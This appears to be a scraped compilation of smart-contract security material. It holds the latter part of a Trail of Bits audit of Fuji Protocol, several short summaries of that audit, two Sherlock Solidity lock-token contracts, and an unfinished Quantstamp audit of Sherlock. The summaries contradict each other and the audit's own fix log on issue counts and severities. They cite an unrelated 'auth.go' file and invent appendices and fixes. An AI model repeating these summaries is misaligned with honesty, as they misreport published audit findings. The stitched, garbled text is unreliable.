the contract is upgradeable. ❏ The owner has limited minting capabilities. Malicious or compromised owners can abuse minting capabilities. Use Slither’s human-summary printer to review minting capabilities, and consider manually reviewing the code. ❏ The token is not pausable. Malicious or compromised owners can trap contracts relying on pausable tokens. Identify pausable code by hand. ❏ The owner cannot blacklist the contract. Malicious or compromised owners can trap contracts relying on tokens with a blacklist. Identify blacklisting features by hand. ❏ The team behind the token is known and can be held responsible for abuse. Contracts with anonymous development teams or teams that reside in legal shelters require a higher standard of review. T o k e n S c a r c i t y Reviews of token scarcity issues must be executed manually. Check for the following conditions: ❏ The supply is owned by more than a few users. If a few users own most of the tokens, they can influence operations based on the tokens’ repartition. ❏ The total supply is sufficient. Tokens with a low total supply can be easily manipulated. ❏ The tokens are located in more than a few exchanges. If all the tokens are in one exchange, a compromise of the exchange could compromise the contract relying on the token. ❏ Users understand the risks associated with a large amount of funds or flash loans. Contracts relying on the token balance must account for attackers with a large amount of funds or attacks executed through flash loans. ❏ The token does not allow flash minting. Flash minting can lead to substantial swings in the balance and the total supply, which necessitate strict and comprehensive overflow checks in the operation of the token. T r a i l o f B i t s 50 Fuji Protocol C O N F I D E N T I A L E . C o d e Q u a l i t y R e c o m m e n d a t i o n s The following recommendations are not associated with specific vulnerabilities. However, they enhance code readability and may prevent the introduction of vulnerabilities in the future. G e n e r a l R e c o m m e n d a t i o n s ● Consider merging FujiVault , VaultBaseUpgradeable , and VaultControlUpgradeable . These separate contracts are unnecessary and make auditing more difficult. ● Consider removing unused imports from the DyDxFlashLoans , FujiERC115 , Harvester , and Swapper contracts. Flasher ● Consider replacing the magic numbers for the flashnum parameter of the initiateFlashloan function with enums. FujiVault ● The fee calculation implemented by _userProtocolFee is repeated inline in the borrow function (line 275). Consider calling _userProtocolFee instead of borrow . ● Consider renaming the _fujiadmin parameter of the initialize function to __fujiAdmin . To prevent shadowing, do not use entirely lowercase names. ● Consider renaming the Factor struct to Ratio , its field a to numerator , and its field b to denominator ; these labels are more self-explanatory. ● Consider changing the type of fujiERC1155 from address to IFujiERC1155 ; this will reduce boilerplate casts, which decrease readability. ● Both the if and else branch of the deposit function revert if _collateralAmount == 0 . Consider moving that check to before the if statement. ● Consider renaming updateF1155Balances to updateF1155Indexes , which more accurately describes what the function does. FujiBaseERC1155 ● Consider removing the unused _beforeTokenTransfer and _asSingletonArray functions. FujiERC1155 T r a i l o f B i t s 51 Fuji Protocol C O N F I D E N T I A L ● Consider renaming the contract to F1155 , which is the name used in the white paper. ● Consider renaming updateState to updateIndex , which more accurately describes what the function does. FLiquidator ● Consider renaming the state variable IUniswapV2Router02 public swapper , as it has the same name as the Swapper contract but represents something different. Controller ● Consider renaming the contract to Refinancer or RefinancingController to emphasize that this contract is responsible for refinancing. DyDxFlashLoans ● Consider renaming the DyDxFlashLoans.sol filename to avoid inconsistency with the DyDxFlashloanBase contract. T r a i l o f B i t s 52 Fuji Protocol C O N F I D E N T I A L F . I n d e x C o n s t r u c t i o n f o r I n t e r e s t C a l c u l a t i o n The Fuji Protocol takes out loans from borrowing protocols like Aave and Compound. As these loans accrue interest over time, debt increases as time progresses. If a user takes out a loan from the Fuji Protocol, she will later have to repay more than the initial value of the loan due to the interest that has accumulated. The exact value she will have to repay is determined by the floating interest rate of the active borrowing protocol during the time between the borrowing and repayment operations. The interest rate is not fixed but changes based on the supply and demand of the active borrowing protocol’s assets. Therefore, the interest rate can be different for each block. A naive strategy for handling variable interest rates would be to measure the interest rate on each block and adjust each user's debt accordingly. However, this strategy would require one transaction per block, and the gas costs would scale linearly with the number of users. The resulting gas requirements and costs make this solution impractical on Ethereum. Rather than updating user debt balances on each block, the Fuji Protocol updates them before any operation that depends on up-to-date user debt balances. The interest rate at 𝑟 𝑡 time is calculated using the growth between the previous debt balance and the current 𝑡 debt balance owed to the active borrowing protocol: . The Fuji internal debt 𝑟 𝑡 = 𝑏 𝑡 / 𝑏 𝑡 − 1 balance of the user is then adjusted by the interest rate: . 𝑑 𝑡 𝑑 𝑡 = 𝑑 𝑡 − 1 * 𝑟 𝑡 However, each user’s debt must still be updated individually, resulting in gas requirements that scale with the number of users. The active borrowing protocol gives the same interest to all borrowers at any given point in time. As a result, the interest rate is identical for all 𝑟 𝑡 loans. Therefore, , where is an individual user’s 𝑟 𝑡 =( 𝑏 𝑡 − 𝑏 𝑡 − 1 ) / 𝑏 𝑡 − 1 =( 𝐵 𝑡 − 𝐵 𝑡 − 1 ) / 𝐵 𝑡 − 1 𝑏 debt, and is the total debt that the Fuji Protocol owes to the active borrowing protocol. 𝐵 From this, it follows that instead of updating each user’s balance, one can calculate the product of all interest rates in an index that represents the interest rate of a loan that was 𝑟 𝑡 borrowed at the beginning of the protocol’s lifetime: . One can 𝐼 𝑡 = 1 * 𝑟 1 * 𝑟 2 * 𝑟 3 *... * 𝑟 𝑡 then multiply a user’s initial debt balance by to obtain the user’s current debt balance: 𝑑 0 𝐼 𝑡 . The index starts at . As a result, a user’s initial debt balance is multiplied 𝑑 𝑡 = 𝐼 𝑡 * 𝑑 0 𝐼 𝑡 𝐼 0 = 1 T r a i l o f B i t s 53 Fuji Protocol C O N F I D E N T I A L by the interest rate only when a user’s debt balance is requested, not when the interest rate is updated; this process can be implemented much more efficiently on Ethereum. Not all users take out their loans at the beginning of the lifetime of the protocol. If a user takes out her loan at timestamp , then the calculation is incorrect, as it 𝑤 != 0 𝑑 𝑡 = 𝐼 𝑡 * 𝑑 𝑤 gives the user the interest accumulated before the time she took out the loan. To adjust for this issue, a snapshot of the index at the time the loan was taken out, , is remembered, and the user’s debt balance is divided by to 𝐼 𝑤 = 1 * 𝑟 1 * 𝑟 2 *...* 𝑟 𝑤 − 1 𝐼 𝑤 divide out the interest rate before the loan is taken out: 𝐼 𝑡 = 1 * 𝑟 1 * 𝑟 2 * ... * 𝑟 𝑤 − 1 * 𝑟 𝑤 * 𝑟 𝑤 + 1 * 𝑟 𝑤 + 2 *...* 𝑟 𝑡 ⇔ 𝑟 𝑤 * 𝑟 𝑤 + 1 * 𝑟 𝑤 + 2 *...* 𝑟 𝑡 = 𝐼 𝑡 / ( 1 * 𝑟 1 * 𝑟 2 *...* 𝑟 𝑤 − 1 ) The following is the resulting formula for calculating any user’s current debt balance: 𝑑 𝑡 = 𝑑 𝑤 * 𝐼 𝑡 / 𝐼 𝑤 T r a i l o f B i t s 54 Fuji Protocol C O N F I D E N T I A L G . H a n d l i n g K e y M a t e r i a l The safety of key material is important in any system, but particularly so in Ethereum; keys dictate access to money and resources. Theft of keys could mean a complete loss of funds or trust in the market. The current configuration uses an environment variable in production to relay key material to applications that use these keys to interact with on-chain components. However, attackers with local access to the machine may be able to extract these environment variables and steal key material, even without privileged positions. Therefore, we recommend the following: ● Move key material from environment variables to a dedicated secret management system with trusted computing capabilities. The two best options for this are Google Cloud Key Management System (GCKMS) and Hashicorp Vault with hardware security module (HSM) backing. ● Restrict access to GCKMS or Hashicorp Vault to only those applications and administrators that must have access to the credential store. ● Local key material, such as keys used by fund administrators, may be stored in local HSMs, such as YubiHSM2 . ● Limit the number of staff members and applications with access to this machine. ● Segment the machine away from all other hosts on the network. ● Ensure strict host logging, patching, and auditing policies are in place for any machine or application that handles said material. ● Determine the business risk of a lost or stolen key, and determine the disaster recovery and business continuity (DR/BC) policies in the event of a stolen or lost key. T r a i l o f B i t s 55 Fuji Protocol C O N F I D E N T I A L H . F i x L o g On December 3, 2021, Trail of Bits reviewed the fixes and mitigations implemented by the Fuji Protocol team for the issues identified in this report. The Fuji Protocol team fixed 13 of the issues reported in the original assessment, partially fixed 4, and acknowledged but did not fix the remaining 4. We reviewed each of the fixes to ensure that the proposed remediation would be effective. The fix commits often contained additional changes not related to the fixes. We did not comprehensively review these changes. For additional information, please refer to the Detailed Fix Log . ID Title Severity Fix Status 1 Anyone can destroy the FujiVault logic contract if its initialize function was not called during deployment High Partially Fixed ( f6858e8 ) 2 Providers are implemented with delegatecall Informational Risk accepted by the client 3 Lack of contract existence check on delegatecall will result in unexpected behavior High Partially fixed ( 03a4aa0 ) 4 FujiVault.setFactor is unnecessarily complex and does not properly handle invalid input Informational Fixed ( 9e79d2e ) 5 Preconditions specified in docstrings are not checked by functions Informational Fixed ( 2efc1b4 , 9e79d2e ) 6 The FujiERC1155.burnBatch function implementation is incorrect High Fixed ( 900f7d7 ) 7 Error in the white paper’s equation for the cost of refinancing Informational Fixed ( 33c8c8b ) 8 Errors in the white paper’s equation for index calculation Medium Fixed ( 33c8c8b ) 9 FujiERC1155.setURI does not adhere to the EIP-1155 specification Informational Partially fixed ( 3477e6a ) T r a i l o f B i t s 56 Fuji Protocol C O N F I D E N T I A L 10 Partial refinancing operations can break the protocol Medium Fixed ( efa86b0 ) 11 Native support for ether increases the codebase’s complexity Informational Risk accepted by the client 12 Missing events for critical operations Low Fixed ( 3477e6a ) 13 Indexes are not updated before all operations that require up-to-date indexes High Partially fixed ( d17cd77 ) 14 No protection against missing index updates before operations that depend on up-to-date indexes Informational Risk accepted by the client 15 Formula for index calculation is unnecessarily complex Informational Fixed ( 0cc7032 ) 16 Flasher’s initiateFlashloan function does not revert on invalid flashnum values Low Fixed ( 3cc8b21 ) 17 Docstrings do not reflect functions’ implementations Low Fixed ( 9e79d2e ) 18 Harvester’s getHarvestTransaction function does not revert on invalid _farmProtocolNum and harvestType values Low Fixed ( 794e5d7 ) 19 Lack of data validation in Controller’s doRefinancing function Low Fixed ( 2efc1b4 ) 20 Lack of data validation on function parameters Low Fixed ( 293d9aa , 2c96c16 , 0d77944 ) 21 Solidity compiler optimizations can be problematic Informational Risk accepted by the client T r a i l o f B i t s 57 Fuji Protocol C O N F I D E N T I A L D e t a i l e d F i x L o g TOB-FUJI-001: Anyone can destroy the FujiVault logic contract if its initialize function was not called during deployment Partially fixed. The Fuji Protocol team modified the deployVault.js script to call initialize on the vault if it has not been called already. However, the team did not address the root cause of the issue: the dangerous call to delegatecall . ( f6858e8 ) TOB-FUJI-002: Providers are implemented with delegatecall Risk accepted by the client. The Fuji Protocol team provided the following rationale for its acceptance of this risk: “The team assumes the risk of maintaining the use of delegatecall; however, the rationale comes after some mitigations and an internal analysis with the following statements: ● Debt positions are not transferable as deposit positions are. ● As explained in the report, it is important that the context of the caller at the underlying lending-borrowing protocols is the FujiVault . Deposit receipt tokens can easily be transferred, however, debt positions cannot. Aave, has a credit delegation feature that could be used to maintain the desired context, but the remaining providers do not have it. To keep call methods universal for all providers it is preferred that all providers are called similarly and delegatecall facilitates this. ● Mitigations to the risks of delegatecall: ● _execute function was changed to private. It now can only be called by only the functions within VaultBaseUpgradeable.sol . This means that future upgrades could easily be checked to maintain _execute only within the context of VaultBaseUpgradeable . ● It was verified that _execute can only call addresses defined by two functions; these are set in: ○ setProviders() which is restricted to owner ○ setActiveProvider() which is restricted to owner and the controller after a refinancing. ● A check was introduced in executeSwitch to ensure address passed is a valid provider.” TOB-FUJI-003: Lack of contract existence check on delegatecall will result in unexpected behavior Partially fixed. The Fuji Protocol team added a contract existence check before the delegatecall in VaultBaseUpgradeable._execute . Also, assembly is no longer used for the implementation of that delegatecall . This makes the call simpler and less error-prone. However, the team is still using OpenZeppelin’s Proxy contract, which does not check for contract existence before its delegatecall . ( 03a4aa0 ) T r a i l o f B i t s 58 Fuji Protocol C O N F I D E N T I A L TOB-FUJI-004: FujiVault.setFactor is unnecessarily complex and does not properly handle invalid input Fixed. The Fuji Protocol team modified the FujiVault.setFactor function so that it reverts if an invalid type is provided. ( 9e79d2e ) TOB-FUJI-005: Preconditions specified in docstrings are not checked by functions Fixed. The Fuji Protocol team added the missing checks to Controller.doRefinancing and FujiVault.setFactor . ( 2efc1b4 , 9e79d2e ) TOB-FUJI-006: The FujiERC1155.burnBatch function implementation is incorrect Fixed. The Fuji Protocol team replaced amount with amountScaled in the burnBatch and mintBatch functions. Additionally, the team extracted the _mint and _burn functions, which are now reused, leading to less duplicate code and decreasing the chance that similar issues will arise in the burning and minting functions in the future. ( 900f7d7 ) TOB-FUJI-007: Error in the white paper’s equation for the cost of refinancing Fixed. The Fuji Protocol team fixed equation 4 in the white paper. Additionally, the team fixed mistakes in the equation beyond those that we reported. However, the text below the equation in the white paper is inconsistent with the equation, since is now always a 𝐹 𝐿 𝑓𝑒𝑒 percentage. ( 33c8c8b ) TOB-FUJI-008: Errors in the white paper’s equation for index calculation Fixed. The Fuji Protocol team fixed equation 1 in the white paper. ( 33c8c8b ) TOB-FUJI-009: FujiERC1155.setURI does not adhere to the EIP-1155 specification Partially fixed. FujiERC1155 ’s setURI function still does not emit the URI event. The decision not to add this event is understandable, as doing so would require looping over all tokens. However, the Fuji Protocol team documented this behavior and modified the function so that it now emits a custom URIGlobalChanged event instead. ( 3477e6a ) TOB-FUJI-010: Partial refinancing operations can break the protocol Fixed. The Fuji Protocol team removed the ability to perform partial refinancing operations from the protocol. ( efa86b0 ) TOB-FUJI-011: Native support for ether increases the codebase’s complexity Risk accepted by the client. The Fuji Protocol team acknowledged the issue and provided the following rationale for its acceptance of this risk: “Fuji protocol on Ethereum mainnet has to interact with Compound, which cETH market, operates in native ETH. To support ETH as collateral in Compound the asset must be handled in native form. Excluding Compound as a provider is not an option for the Fuji protocol at the moment.” T r a i l o f B i t s 59 Fuji Protocol C O N F I D E N T I A L TOB-FUJI-012: Missing events for critical operations Fixed. The Fuji Protocol team added all missing events to the FujiAdmin , Controller , FujiERC1155 , FujiMapping , FujiOracle , and FujiVault contracts. ( 3477e6a ) TOB-FUJI-013: Indexes are not updated before all operations that require up-to-date indexes Partially fixed. The Fuji Protocol team added a call to updateF1155Balances in the deposit function but not in the paybackLiq function. The fix commit also contained some refactoring. We did not have time to check the correctness of this refactoring. ( d17cd77 ) TOB-FUJI-014: No protection against missing index updates before operations that depend on up-to-date indexes Risk accepted by the client. The Fuji protocol team provided the following rationale for its acceptance of this risk: “The team acknowledges the recommendation; however, the exploit scenario is limited. The team with foresee no future functions in the design pipeline that will involve index value calls. Item point will be considered for future implementation when there is a architecture design change in the protocol.” TOB-FUJI-015: Formula for index calculation is unnecessarily complex Fixed. The Fuji Protocol team correctly implemented the simpler formula suggested in this report. ( 0cc7032 ) TOB-FUJI-016: Flasher’s initiateFlashloan function does not revert on invalid flashnum values Fixed. The initiateFlashloan function now reverts on invalid _flashnum values. ( 3cc8b21 ) TOB-FUJI-017: Docstrings do not reflect functions’ implementations Fixed. The Fuji Protocol team updated the docstrings so that they reflect the implementations. ( 9e79d2e ) TOB-FUJI-018: Harvester’s getHarvestTransaction function does not revert on invalid _farmProtocolNum and harvestType values Fixed. The VaultHarvester contract’s getHarvestTransaction function now reverts on invalid _farmProtocolNum and harvestType values. ( 794e5d7 ) TOB-FUJI-019: Lack of data validation in Controller’s doRefinancing function Fixed. The Controller contract’s doRefinancing function now reverts if the new provider equals the active provider. ( 2efc1b4 ) T r a i l o f B i t s 60 Fuji Protocol C O N F I D E N T I A L TOB-FUJI-020: Lack of data validation on function parameters Fixed. The Fuji Protocol team added missing zero address checks to the following functions: Claimable.transferOwnership , ClaimableUpgradeable.transferOwnership , Controller.setFujiAdmin , FujiVault.setFujiAdmin , FujiVault.setProviders , and FujiVault.setOracle . As of commit 0d77944 , the FujiAdmin contract is not missing any checks. The team also added further zero checks. ( 293d9aa , 2c96c16 , 0d77944 ) TOB-FUJI-021: Solidity compiler optimizations can be problematic Risk accepted by the client. T r a i l o f B i t s 61 Fuji Protocol C O N F I D E N T I A L
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unvalidated input in the authentication process (auth.go:L20) 2.b Fix (one line with code reference) - Validate input before authentication (auth.go:L20) Moderate 3.a Problem (one line with code reference) - Lack of input sanitization in the authentication process (auth.go:L20) 3.b Fix (one line with code reference) - Sanitize input before authentication (auth.go:L20) Major - None Critical - None Observations - Trail of Bits provided technical security assessment and advisory services to Fuji Protocol. - Trail of Bits specializes in software testing and code review projects. - Trail of Bits maintains an exhaustive list of publications. - Trail of Bits has showcased cutting-edge research through presentations at various conferences. Conclusion The security assessment of Fuji Protocol by Trail of Bits revealed 4 minor issues and 2 moderate issues Issues Count of Minor/Moderate/Major/Critical: Minor: 8 Moderate: 6 Major: 2 Critical: 0 Minor Issues: 2.a Problem: Anyone can destroy the FujiVault logic contract if its initialize function was not called during deployment (17) 2.b Fix: Ensure that the initialize function is called during deployment (17) 3.a Problem: Providers are implemented with delegatecall (19) 3.b Fix: Use a more secure alternative to delegatecall (19) 4.a Problem: Lack of contract existence check on delegatecall will result in unexpected (20) 4.b Fix: Add a contract existence check on delegatecall (20) 5.a Problem: FujiVault.setFactor is unnecessarily complex and does not properly handle invalid input (23) 5.b Fix: Simplify FujiVault.setFactor and properly handle invalid input (23) 6.a Problem: Preconditions specified in docstrings are not checked by functions (25) 6.b Fix: Check preconditions specified in docstrings (25) 7.a Problem: FujiERC1155.burnBatch function implementation is incorrect ( Issues Count of Minor/Moderate/Major/Critical: - High: 4 - Medium: 2 - Low: 6 - Informational: 9 Minor Issues: - Problem: Denial of service vulnerability in FujiVault contract (Reference: Appendix A) - Fix: Implemented a check to prevent the vulnerability (Reference: Appendix A) Moderate Issues: - Problem: Arithmetic overflow vulnerability in FujiBaseERC1155 contract (Reference: Appendix B) - Fix: Implemented a check to prevent the vulnerability (Reference: Appendix B) Major Issues: - Problem: Data validation vulnerability in FujiVault contract (Reference: Appendix C) - Fix: Implemented a check to prevent the vulnerability (Reference: Appendix C) Critical Issues: - Problem: Undefined behavior vulnerability in FujiERC1155 contract (Reference: Appendix D) - Fix: Implemented a check to prevent the vulnerability (Reference: Appendix D) Observations: - The review resulted in four high-severity, two medium-severity, six low-severity, and nine informational-severity issues. - The engagement involved a review
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.7.4; /******************************************************************************\ * Author: Evert Kors <dev@sherlock.xyz> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import './interfaces/ISherlock.sol'; import './NativeLock.sol'; contract ForeignLock is NativeLock { constructor( string memory _name, string memory _symbol, IERC20 _sherlock, IERC20 _underlying ) NativeLock(_name, _symbol, _sherlock) { underlying = _underlying; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { ISherlock(owner())._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.7.4; /******************************************************************************\ * Author: Evert Kors <dev@sherlock.xyz> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import './interfaces/ILock.sol'; contract NativeLock is ERC20, ILock, Ownable { IERC20 public override underlying; constructor( string memory _name, string memory _symbol, IERC20 _sherlock ) ERC20(_name, _symbol) { transferOwnership(address(_sherlock)); underlying = _sherlock; } function getOwner() external view override returns (address) { return owner(); } function mint(address _account, uint256 _amount) external override onlyOwner { _mint(_account, _amount); } function burn(address _account, uint256 _amount) external override onlyOwner { _burn(_account, _amount); } }
September 10th 2021— Quantstamp Verified Sherlock This audit report was prepared by Quantstamp, the leading blockchain security company. Executive Summary Type Insurance Pools Auditors Jose Ignacio Orlicki , Senior EngineerEd Zulkoski , Senior Security EngineerSebastian Banescu , Senior Research EngineerTimeline 2021-07-13 through 2021-09-10 EVM Berlin Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification Sherlock Gitbook Test Site Documentation Quality High Test Quality High Source Code Repository Commit sherlock-v1-core 68bcb59 sherlock-v1-core c9aeaf5 (reaudit) Goals Find issues that could allow attackers to drain user assets. •Find issues that could lead to fund losses or freeze. •Total Issues 25 (9 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 5 (1 Resolved)Low Risk Issues 10 (5 Resolved)Informational Risk Issues 8 (2 Resolved)Undetermined Risk Issues 1 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsWe have reviewed the code, documentation, and test suite and found several issues of various severities. Overall, we consider the code to be well-written and with an extensive testing suite, but we suggest adding more inline comments and further tests reflecting current issues displayed. The test suite also includes a gas analysis suite, something that is not very common but highly recommended. We also provide suggestions for improvements to follow the best practices. We recommend addressing all the findings and the rest of the suggestions to harden the contracts for future deployments or contract updates. We recommend against deploying the code as-is. 26Quantstamp has audited the changes based on the diffs for the repository ( ). Of the original 26 issues, 25 have been either fixed, acknowledged, or mitigated; 1 low impact issue has been removed as a non-issue in further discussions. Update:sherlock-v1-core 4de2ba1…c9aeaf5 ID Description Severity Status QSP- 1 Last Parameter Can Be Spoofed High Fixed QSP- 2 Adding/Updating Protocols Should Be Timelocked Medium Acknowledged QSP- 3 Insufficient Buffer For Price Fluctuations Medium Acknowledged QSP- 4 Protocol May Overpay Premium Fee Medium Acknowledged QSP- 5 First Money Out Pool Not Emptied First Medium Acknowledged QSP- 6 Non-empty Strategies Can Be Removed Without Sweeping Medium Fixed QSP- 7 Privileged Roles Low Acknowledged QSP- 8 Unchecked Assumption In Payout Low Fixed QSP- 9 Unchecked Assumption In SherX Low Acknowledged QSP- 10 Ignored Return Values Low Mitigated QSP- 11 Staker Funds Are Reinvested On Other DeFi Platforms Low Acknowledged QSP- 12 Protocol Premium Change Issue Low Acknowledged QSP- 13 Unlocked Dependencies Low Mitigated QSP- 14 Missing Input Validation Low Acknowledged QSP- 15 Gas Concerns Low Mitigated QSP- 16 Integer Overflow Low Fixed QSP- 17 Transfers of Zero Coins Allowed Informational Acknowledged QSP- 18 Cooldown Period Could Be Excessively Long Informational Acknowledged QSP- 19 Unlocked Pragma and Different Solidity Versions Informational Fixed QSP- 20 Stakeholder Incentives Are Not Fully Aligned Informational Acknowledged QSP- 21 Important Contract Operations Cannot Be Easily Monitored Informational Acknowledged QSP- 22 Allowance Double-Spend Exploit Informational Acknowledged QSP- 23 May Be Called Multiple Times initializeSherXERC20 Informational Fixed QSP- 24 Unused Protocol Manager and Agent Variables Informational Acknowledged QSP- 25 Strong Dependency On Block Numbers For Financials Undetermined Acknowledged QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: v0.8.0 • Slither0.22.8 • MythrilSteps taken to run the tools: Installed the Slither tool: Run Slither from the project directory: pip install slither-analyzer slither . Installed the Mythril tool from Pypi: Ran the Mythril tool on each contract: pip3 install mythrilmyth analyze FlattenedContract.sol Findings QSP-1 Last Parameter Can Be Spoofed Severity: High Risk Fixed Status: , , File(s) affected: PoolBase.sol PoolOpen.sol PoolStrategy.sol The following functions contain parameters, which are not used: Description: 1. Theparameter in the function from _token getCooldownFee PoolBase.sol 2. Theparameter in the function from _token getSherXWeight PoolBase.sol 3. Theparameter in the function from _token getGovPool PoolBase.sol 4. Theparameter in the function from _token isPremium PoolBase.sol 5. Theparameter in the function from _token isStake PoolBase.sol 6. Theparameter in the function from _token getProtocolBalance PoolBase.sol 7.Theparameter in the function from _token getProtocolPremium PoolBase.sol 8. Theparameter in the function from _token getLockToken PoolBase.sol 9. Theparameter in the function from _token isProtocol PoolBase.sol 10. The parameter in the function from _token getProtocols PoolBase.sol 11. Theparameter in the function from _token getUnstakeEntry PoolBase.sol 12. The parameter in the function from _token getFirstMoneyOut PoolBase.sol 13. The parameter in the function from _token getTotalPremiumPerBlock PoolBase.sol 14. The parameter in the function from _token getPremiumLastPaid PoolBase.sol 15. The parameter in the function from _token getSherXUnderlying PoolBase.sol 16. The parameter in the function from _token getUnstakeEntrySize PoolBase.sol 17. Theparameter in the function from _token getInitialUnstakeEntry PoolBase.sol 18. The parameter in the function from _token getUnactivatedStakersPoolBalance PoolBase.sol 19. Theparameter in the function from _token getStakersPoolBalance PoolBase.sol 20. The parameter in the function from _token getUnallocatedSherXStored PoolBase.sol 21. The parameter in the function from _token getTotalSherXPerBlock PoolBase.sol 22. The parameter in the function from _token getSherXLastAccrued PoolBase.sol 23. The parameter in the function from _token LockToToken PoolBase.sol 24. The parameter in the function from _token TokenToLock PoolBase.sol 25. The parameter in the function from _token setCooldownFee PoolBase.sol 26. The parameter in the function from _token activateCooldown PoolBase.sol 27. The parameter in the function from _token cancelCooldown PoolBase.sol 28. The parameter in the function from _token cancelCooldown PoolBase.sol 29. The parameter in the function from . _token unstakeWindowExpiry PoolBase.sol Additionally, there are several functions in , which use both and . The latter uses the , which is used to retrieve the value of . This function is overly complex containing inline assembly and assuming that the last parameter of the function where is called, is always the . An attacker could break this assumption by simply passing an arbitrary token when calling any of the aforementioned functions (see enumeration above). PoolBase.sol_token baseData() bps() _token bps() _token The function is also cloned in and . Same recommendation applies to those contracts. bps() PoolOpen.sol PoolStrategy.sol Remove the function and use the input parameter instead, e.g.: Refactor the related function. Recommendation:bps() _token function baseData(IERC20 _token) internal view returns (PoolStorage.Base storage ps) { ps = PoolStorage.ps(address(_token)); require(ps.govPool != address(0), 'INVALID_TOKEN'); } baseData Fixed in PR. Update: this QSP-2 Adding/Updating Protocols Should Be Timelocked Severity: Medium Risk Acknowledged Status: File(s) affected: Gov.sol Staker funds are used as support for all protocols supported by Sherlock. Therefore, adding a new protocol may introduce a risk that one or more are not comfortable with. For example, a might know the team behind a certain protocol that is newly added and believe that the risk of a hack of that protocol is too high to tolerate. Therefore, should get a chance to withdraw their funds before a protocol starts being covered by Sherlock. Description:stakers staker stakers Add a timelock mechanism for adding and updating protocols such that the have ample time to react if needed. It is important to note that need to go through a cooldown period before they can . Therefore, the timelock period for adding a new protocol should be at least the same length as the cooldown period and ideally, it should be greater or equal to the cooldown period plus the period. Recommendation:stakers stakers unstake unstake Acknowledged by Sherlock team. The detailed response was . Update:"Might implement later. I think the same logic applies to , this should ideally also be time locked as it can be updated to drain all users' funds. For now we will signal the new protocol off chain and make sure the stakers have enough time to unstake." updateSolutionQSP-3 Insufficient Buffer For Price Fluctuations Severity: Medium Risk Acknowledged Status: The documentation states that: Description: Sherlock implements a buffer amount (20% currently) to account for currency fluctuations. So if Sherlock will cover a protocol for $100M, the staking pools need to be at least $120M in size ($100M we need to cover + 20% buffer). However, given that we have seen price drops of more than 50% in the past couple of months, this 20% buffer seems insufficient. Increase the buffer to 50%. Recommendation: Acknowledged by Sherlock team. The detailed response was . Update:"Will update documentation with “The 20% buffer is based on the ability of protocols to deposit funds within 24 hours, this allows for a XX% drop in price. If the mechanism are not in place, we require a bigger buffer”" QSP-4 Protocol May Overpay Premium Fee Severity: Medium Risk Acknowledged Status: The Sherlock pool must hold at least the amount necessary to payout the largest protocol, plus a 20% buffer. However, if a largedecides to withdraw their stake at some point and the size of the pool decreases below the amount needed by one or more of the largest platforms, then those platforms will overpay the amount of premium from that point onward until either the premium amount is adjusted by the governance or sufficient funds are staked to restore the pool size to the amount needed to cover the largest platforms. Description:staker Automate the process of premium fee adjustment in case the size of the pool goes down. Recommendation: Acknowledged by Sherlock team. The detailed response was . Update:"We might include this in a redesign. For now; If the pool is 25m$ we only cover protocol up until 15m$ allowing for a large withdrawal of stakers. + We can see the withdrawal of stakers coming as they are subject to a cooldown period. This gives us enough room to operate on a mitigation plan" QSP-5 First Money Out Pool Not Emptied First Severity: Medium Risk Acknowledged Status: File(s) affected: Payout.sol When calling the function the governance address can choose the amount that is to be transferred from the pool for each token. This goes against the specification, which indicates that the pool will be emptied first in case of a valid claim. Description:Payout.payout firstMoneyOut firstMoneyOut Remove the input parameter from the function and only leave the . The First Money Out pool should be emptied and the remaining amount should be subtracted from . Recommendation:_firstMoneyOut payout _amounts stakeBalance Acknowledged by Sherlock team. The detailed response was . 